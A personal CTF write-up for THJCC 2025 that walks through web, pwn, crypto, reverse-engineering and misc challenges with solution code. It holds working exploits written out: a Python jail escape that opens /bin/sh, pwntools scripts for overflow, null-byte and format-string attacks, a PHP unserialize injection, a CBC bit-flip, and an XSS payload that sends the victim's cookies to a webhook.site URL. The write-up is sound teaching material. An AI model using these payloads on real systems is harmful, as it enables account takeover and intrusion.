# THJCC 2025 wrire up 我就不應該跑去解web要不然我parrot應該解得出來,到底? 然後我discord跟daes都沒寫 L 偷偷推我picoCTF的write up //解口哈都解水題 https://hackmd.io/sx4ORSRoQU6R3XOUJ0Cnvg ## warmup ### welcome the ans is on the question ### beep boop beep boop is ascii in binary ## web ### headless ![image](https://hackmd.io/_uploads/B1PYC7QJee.png) we can guess there's a robots.txt ![image](https://hackmd.io/_uploads/H1dsCmQJxl.png) go in /hum4n-0nLy ```python= from flask import Flask, request, render_template, Response from flag import FLAG app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/robots.txt') def noindex(): r = Response(response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain") r.headers["Content-Type"] = "text/plain; charset=utf-8" return r @app.route('/hum4n-0nLy') def source_code(): return open(__file__).read() @app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d') def secret_flag(): if len(request.headers) > 1: return "I'm sure robots are headless, but you are not a robot, right?" return FLAG if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=False) ``` see that if we go to /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d with no headers we can get the flag, so use burpsuite to delete the headers and get the flags ### Nothing here 👀 check the source code and there's an b64 encoded string, decode it and get the flag ![image](https://hackmd.io/_uploads/rJKzWEm1xl.png) ### APPL3 STOR3🍎 check the source code and notice that there's a item 87 missing in the list, get to the ?item=87 page: ![image](https://hackmd.io/_uploads/HJIK-NQkee.png) and notice that the product price is store in the cookie, set the price to 0 and get the flag ### Lime Ranger there's a source code on the bottom left and with the source code we can notice that with the bonous code we can get the ur charaters up to 10 ``` include "flag.php"; if(!isset($_SESSION["balance"])){ $_SESSION["balance"] = 4000; $_SESSION["inventory"] = array("UR" => 0, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0); } if(isset($_GET["bonus_code"])){ $code = $_GET["bonus_code"]; $new_inv = @unserialize($code); if(is_array($new_inv)){ foreach($new_inv as $key => $value){ if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){ $_SESSION["inventory"][$key] += $value; } } } } ``` so just serialize the arr we'll use ``` echo serialize(array("UR" => 100, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0)); //a:5:{s:2:"UR";i:100;s:3:"SSR";i:0;s:2:"SR";i:0;s:1:"R";i:0;s:1:"N";i:0;} ``` and put the string in the bonus box and get the charaters and get the flag ## misc ### network noise just strings the pcap and grep THJCC ### Seems like someone’s breaking down😂 there's line look like this ``` 2025-02-21 00:25:15,356 - INFO - 172.18.0.1 - - [21/Feb/2025 00:25:15] "GET /login?username=guest&password=VEhKQ0N7ZmFrZWZsYWd9 HTTP/1.1" 302 - 2025-02-21 00:25:15,364 - INFO - User guest accessed home page ``` the VEhKQ0N7ZmFrZWZsYWd9 decode is THJCC{fake_flag} so i guess the password of something might be the real flag and there's this line ``` 2025-02-21 00:29:20,525 - INFO - 172.18.0.1 - - [21/Feb/2025 00:29:20] "GET /login?username=henry123&password=VEhKQ0N7TDBnX0YwcjNONTFDNV8xc19FNDVZfQ%3D%3D HTTP/1.1" 302 - 2025-02-21 00:29:20,537 - INFO - User admin accessed home page ``` and the password decoded is the real flag ### Setsuna Message the hint is Although it is not as exaggerated as the 18th level of hell, it can be regarded as the 8th level of hell. so i searh up the 8th of hell, it's Malebolge. and another hint is Some things will not succeed if you just observe them. You need to execute them so that they can lead you to the final path. so i guess it's a kind of programing language search up and find a compiler online excute and there's a b64 string decode and get the flag ### Hidden in memory... downlaod the memdmp and use windbg to excute ```peb ``` and fine the COMPUTERNAME to get the comp name ### Pyjail2 code ```python= import unicodedata inpt = unicodedata.normalize("NFKC", input("> ")) print(eval(inpt, {"__builtins__":{}}, {})) ``` since we can use builtin in out payload, can use the exploit of subclasses ```python ().__class__.__mro__[1].__subclasses__()[107]().load_module("os").system("/bin/sh") ``` this payload might be different on different server because we have different subclasses() on different os and python ver. and which i use is _frozen_importlib.BuiltinImporter as the exploit ## pwn ### Flag Shopping this is how the statement handle the money: ```cpp if (money < price[option]*(int)num){ printf("You only have %d, ", money); printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num); continue; } ``` just use interger overflow and get the flag payload: ``` 3 99999999999999999999 ``` ### Money Overflow the structure where the money is in is ```cpp struct { int id; char name[20]; unsigned short money; } customer; ``` so we can overflow the name to change the money payload: ```python from pwn import * conn = remote("chal.ctf.scint.org", 10001) payload = b"a"*20 + p64(65535) conn.sendlineafter(b"Enter your name: ", payload) conn.sendline(b"5") conn.interactive() ``` ### Insecure Shell ```cpp int check_password(char *a, char *b, int length) { for (int i = 0; i < length; i++) if (a[i] != b[i]) return 1; return 0; } if (check_password(password, buf, strlen(buf))) printf("Wrong password!\n"); else system("/bin/sh"); ``` if strlen() is 0, it'll always be true, send a null char and get the flag ```python from pwn import * conn = remote("chal.ctf.scint.org", 10004) conn.sendlineafter(b"Enter the password >", b'\0') conn.interactive() ``` ### Once this is how it handles input: ```cpp printf("guess >"); scanf("%15s", buf); getchar(); printf("Your guess: "); printf(buf); printf("\n"); ``` we can use a format str attack on it payload: ```python from pwn import * ans = "" conn = remote("chal.ctf.scint.org", 10002) for i in range(2): conn.sendlineafter(b"guess >", f'%{8+i}$llx') #the 8 right here was try outed using gdb s = conn.recvline()[12:-1] print(s) a = "" for j in range(8): if(i == 1 and j == 7): continue print(s[j*2:j*2+2]) a = chr(int(s[j*2:j*2+2], 16)) + a ans += a conn.sendlineafter("Are you sure? [y/n] >",'n') conn.sendlineafter(b"guess >", ans) conn.sendlineafter("Are you sure? [y/n] >",'y') conn.interactive() ``` ## crypto ### Twins ``` from Crypto.Util.number import * from secret import FLAG def generate_twin_prime(N:int): while True: p = getPrime(N) if isPrime(p + 2): return p, p + 2 p, q = generate_twin_prime(1024) N = p * q e = 0x10001 m = bytes_to_long(FLAG) C = pow(m, e, N) print(f"{N = }") print(f"{e = }") print(f"{C = }") ``` the p and q is a twin prime, so $n =a^2-1$ ,$p=a-1$, $q=a+1$, get the p and q and go to dcode to decode the answer ### Frequency Freakout it's a kind of substitution cipher base on the hint and the name of the question, go to dcode and use the Mono-alphabetic Substitution tool to decode the cipher ### SNAKE ```python SSSSS = input() print("".join(["!@#$%^&*(){}[]:;"[int(x, 2)] for x in [''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)]])) ``` lets take a look at the back first ```python ''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4) ``` so it takes every char of input and convert it into binary, then seperate them into two parts and save them in the list. and the fronts is clear: it takes every number in the list and select the matching index of string ```!@#$%^&*(){}[]:;```, then output it from first to last so reverse it and get the flag: ```python inp = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*]" s = "!@#$%^&*(){}[]:;" for i in range(int(len(inp)/2)): fs = s.find(inp[i*2]) ss = s.find(inp[i*2+1]) print(chr(fs<<4|ss), end='') ``` ### Yoshino's Secret ```python from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from secret import FLAG import json import os KEY = os.urandom(16) def encrypt(plaintext: bytes) -> bytes: iv = plaintext[:16] cipher = AES.new(KEY, AES.MODE_CBC, iv) return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size)) def decrypt(ciphertext: bytes) -> str: iv = ciphertext[:16] cipher = AES.new(KEY, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) return plaintext def check(token): try: token = bytes.fromhex(token) passkey = decrypt(token) data = json.loads(passkey) if data["admin"]: print(f"Here is your flag: {FLAG}") exit() else: print("Access Denied") except: print("Hacker detected, emergency shutdown of the system") exit() def main(): passkey = b'{"admin":false,"id":"TomotakeYoshino"}' token = encrypt(os.urandom(16) + passkey) print(f"token: {token.hex()}") while True: token = input("token > ") check(token) if __name__ == '__main__': main() ``` it's a CBC encrypted data, and we can abuse it with how cbc work, it is xored with iv, so we can bit filp the iv to change the passkey from ```{"admin":false,"id":"TomotakeYoshino"}``` to ```{"admin":true ,"id":"TomotakeYoshino"}``` we can get the value of what we need to xor from xoring the original text to the text we want t ^ f = 18 r ^ a = 19 u ^ l = 25 e ^ s = 22 ' ' ^ e = 69 ```python def bit_flipping(ciphertext, position, xor_value): byte_list = bytearray(ciphertext) byte_list[position] ^= xor_value return bytes(byte_list) data = input() data = bit_flipping(bytes.fromhex(data), 9, 18) data = bit_flipping(data, 10, 19) data = bit_flipping(data, 11, 25) data = bit_flipping(data, 12, 22) data = bit_flipping(data, 13, 69) print(data.hex()) ``` ## rev ### 西 ```cpp #include <stdio.h> #include <stdint.h> #include <string.h> #define 掐 char #define 伊恩窺皮特_弗雷格 enrypted_flag #define 等於 = #define 佛以德 void #define 低窺皮特 decrypt #define 哀恩踢 int #define 小於 < #define 恩 n #define 佛 for #define 哀 i #define 加加 ++ #define 立蘿 0 #define 欸殼斯偶爾等於 ^= #define 欸服費 0xF5 #define 面 main #define 衣服 if #define 欸斯踢阿鏈 strlen #define 鋪因特欸服 printf #define 趴欸斯 "%s" 掐 伊恩窺皮特_弗雷格[] 等於 "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88"; 佛以德 低窺皮特(哀恩踢 恩) { 佛 (哀恩踢 哀 等於 立蘿; 哀 小於 恩; 哀 加加) { 伊恩窺皮特_弗雷格[哀] 欸殼斯偶爾等於 欸服費; } } 哀恩踢 面() { 衣服 (立蘿) { 低窺皮特(欸斯踢阿鏈(伊恩窺皮特_弗雷格)); } 鋪因特欸服(趴欸斯, 伊恩窺皮特_弗雷格); } ``` change```立羅```to 1 and get the flag ### time_GEM ghidra output of the important function ![image](https://hackmd.io/_uploads/BkATDzrkeg.png) just change the sleep func to nop or change the arg to 0x0 and get the flag ### Python Hunter 🐍 decompile the pyc file: ``` # Decompiled with PyLingual (https://pylingual.io) # Internal filename: hunter.py # Bytecode version: 3.8.0rc1+ (3413) # Source timestamp: 2025-03-24 11:52:35 UTC (1742817155) import sys as s def qwe(abc, xyz): r = [] l = len(xyz) for i in range(len(abc)): t = chr(abc[i] ^ ord(xyz[i % l])) r.append(t) return ''.join(r) d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18] k = 'door_key' m = 'not_a_key' def asd(p): u = 42 v = qwe(d, k) w = qwe(d, p) if w == v: print(f'Correct! {v}') else: print('Wrong!') def dummy(): return len(d) * 2 - 1 if __name__ == '__main__': if len(s.argv) > 1: asd(s.argv[1]) else: print('Please provide a key as an argument.') dummy() ``` just print out qwe(d, k) ### Flag Checker the main decompile by ghidra(var renamed by me): ![image](https://hackmd.io/_uploads/rJH1hzBylg.png) the func called in main: ![image](https://hackmd.io/_uploads/Sk142MHyll.png) so we can do some logic here: fst = data[i] = input[i] + input[i+1] sec = data[i+1] = input[i+1] + input[i+2] trd = data[i+2] = input[i] + input[i+2] so (fst - sec + trd) / 2 = input[i] then we can get input[i+1],input[i+2] and all of this input is a modified one, so we need to get them back by: input[i] ^= 0xf input[i] = input[i] << (-(byte)i & 7) | input[i] >> ((byte)i & 7) so code: ```cpp #include <iostream> #include <bitset> # define byte unsigned char # define uint unsigned int byte d[] = { 0xfa, 0x00, 0x00, 0x00, 0xc5, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x9b, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x00, 0x00, 0xa5, 0x00, 0x00, 0x00, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x71, 0x01, 0x00, 0x00, 0xc1, 0x01, 0x00, 0x00, 0x60, 0x01, 0x00, 0x00, 0x3b, 0x01, 0x00, 0x00, 0x63, 0x01, 0x00, 0x00, 0xa2, 0x01, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x00, 0x67, 0x01, 0x00, 0x00, 0x84, 0x01, 0x00, 0x00, 0x55, 0x01, 0x00, 0x00, 0x74, 0x01, 0x00, 0x00, 0x21, 0x01, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x81, 0x01, 0x00, 0x00, 0x74, 0x01, 0x00, 0x00, 0xdd, 0x01, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00 }; int main(){ byte buf[3]; uint *dat = (uint*)d; for(int i = 0; i < 0x20; i+=3){ int fst = dat[i]; int sec = dat[i+1]; int trd = dat[i+2]; buf[0] = (fst - sec + trd)/2; buf[1] = fst - buf[0]; buf[2] = trd - buf[0]; for(int j = 0; j < 3; j++){ buf[j] ^= 0xf; std::cout << (char)((buf[j] << (-((byte)(i+j)) & 7)) | ((buf[j] >> ((byte)(i+j) & 7)))); } } } ``` ### Noo dle run the program and you'll realize that each char will represent a hex, so just brute force it ```python import subprocess l = [] for i in range(32,126): c = chr(i) a = subprocess.run(["./chal"], capture_output=True, input=c, text=True).stdout[2:] l.append([c, a]) s = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee" ans = "" for i in range(0, len(s), 2): ss = s[i:i+2] for j in l: if(j[1]==ss): ans+=j[0] print(ans) ``` ### Empty use gdb to view the code because the code is been hidden in the .data, and im too lazy to figure out the mechanic of the code hidden ![image](https://hackmd.io/_uploads/HkNbDESkxx.png) this is the essential part, the rbp-0x20 is input, rbp-0x28 is i, rip+0x2f1e is a data arr, so what it's doing is: ```cpp for(int i = 0; i <= 0xf; i++){ if(input[i] ^ 0xab != data[i]) exit } ``` so dump the data and xor it with 0xab we'll get the password ![image](https://hackmd.io/_uploads/BywU54rkxe.png) so the password is AkizukiKanna1050 ### Demon Summoning use the string in .data to find these functions ![image](https://hackmd.io/_uploads/rkM234H1gl.png) ![image](https://hackmd.io/_uploads/rJxs3VSyex.png) so just create a folder and inside put the file the question gave and create a file and write ```Satania's favorite```in it and youll get the flag ![image](https://hackmd.io/_uploads/HyEApVS1ee.png) ![image](https://hackmd.io/_uploads/rkA0pVryxx.png) ## Insane ### iCloud☁️ important things: apache.conf ``` <DirectoryMatch ^/var/www/html/uploads/.+> Options +Indexes AllowOverride FileInfo DirectoryIndex disabled <FilesMatch "^.*\.ph.*$"> SetHandler none ForceType text/html Header set Content-Type "text/html" </FilesMatch> </DirectoryMatch> AccessFileName .htaccess ``` bot.js ```javascript const puppeteer = require("puppeteer"); const FLAG = process.env.FLAG || "THJCC{fake_flag}"; const SITE_URL = process.env.SITE_URL || "http://web/"; const sleep = async (s) => new Promise((resolve) => setTimeout(resolve, 1000 * s)); const visit = async (url) => { let browser; try { browser = await puppeteer.launch({ headless: true, args: ["--disable-gpu", "--no-sandbox"], executablePath: "/usr/bin/chromium-browser", }); const context = await browser.createIncognitoBrowserContext(); // create flag cookie, you need to steal it! const page = await context.newPage(); await sleep(1); await page.setCookie({ name: "flag", value: FLAG, domain: "web" }); await sleep(1); await page.goto(url, { waitUntil: "networkidle0" }); await sleep(5); await page.close(); } catch (e) { console.log(e); } finally { if (browser) await browser.close(); } }; module.exports = visit; ``` some of report.php ```php <?php $BOT_PORT = getenv("BOT_PORT") ?: 8080; $BOT_HOST = getenv("BOT_HOST") ?: "bot"; $SITE_URL = getenv("SITE_URL") ?: "http://web/"; $response = null; if ($_SERVER["REQUEST_METHOD"] === "POST") { if (!isset($_POST["url"]) || empty($_POST["url"])) { $response = "Invalid URL"; } else { $url = $_POST["url"]; $pattern = "/^" . preg_quote($SITE_URL, "/") . "uploads\/[^\/]+\/?$/"; if (!preg_match($pattern, $url)) { $response = "Invalid URL"; } else { try { $client = stream_socket_client("tcp://$BOT_HOST:$BOT_PORT", $errno, $errstr, 5); if (!$client) { throw new Exception("Failed to connect: $errstr ($errno)"); } fwrite($client, $url); $response = ""; while (!feof($client)) { $response .= fgets($client, 1024); } fclose($client); } catch (Exception $e) { error_log($e->getMessage()); $response = "Something is wrong..."; } } } } ?> ``` so we know that although we can't let the bot access index.html or php, but we can use .htaccess file to redirect to the page we want, so write a index.html: ```html <!DOCTYPE html> <html> <body> <script> location.replace("https://webhook.site/b9cc0b79-eac4-4cc5-90da-3753b5846fb1?cookie=" + document.cookie); </script> </body> <html> ``` upload it, then get the url of the index.html, then write a .htaccess: :::info the reason we don't use the htaccess file to redirect to webhok is because the htaccess file can't access the cookie(or it can but im to bad at web) ::: .htaccess ``` RewriteEngine On RewriteRule (.*) http://web/uploads/3ffed27215fb66f6/index.html [R=301,L] ``` upload it too, then report the url with the report.php, remember, the bot can only access https://web/uploads/... and no more, so when you report it, you must use web as hostname. then goto webhook to get the flag :::info if anything is wrong , please contact me ::: ## afterwords 算上cggc跟pico應該是我第三次?寫ctf, platypus不算 第一次打個人賽,電腦重灌跟彈吉他直接晚寫1小時,還沒有算裝工具、驅動。 我也才寫半年ctf,這樣應該算好? 拜託多出點rev,我會沒分數,兄弟並不適合單人賽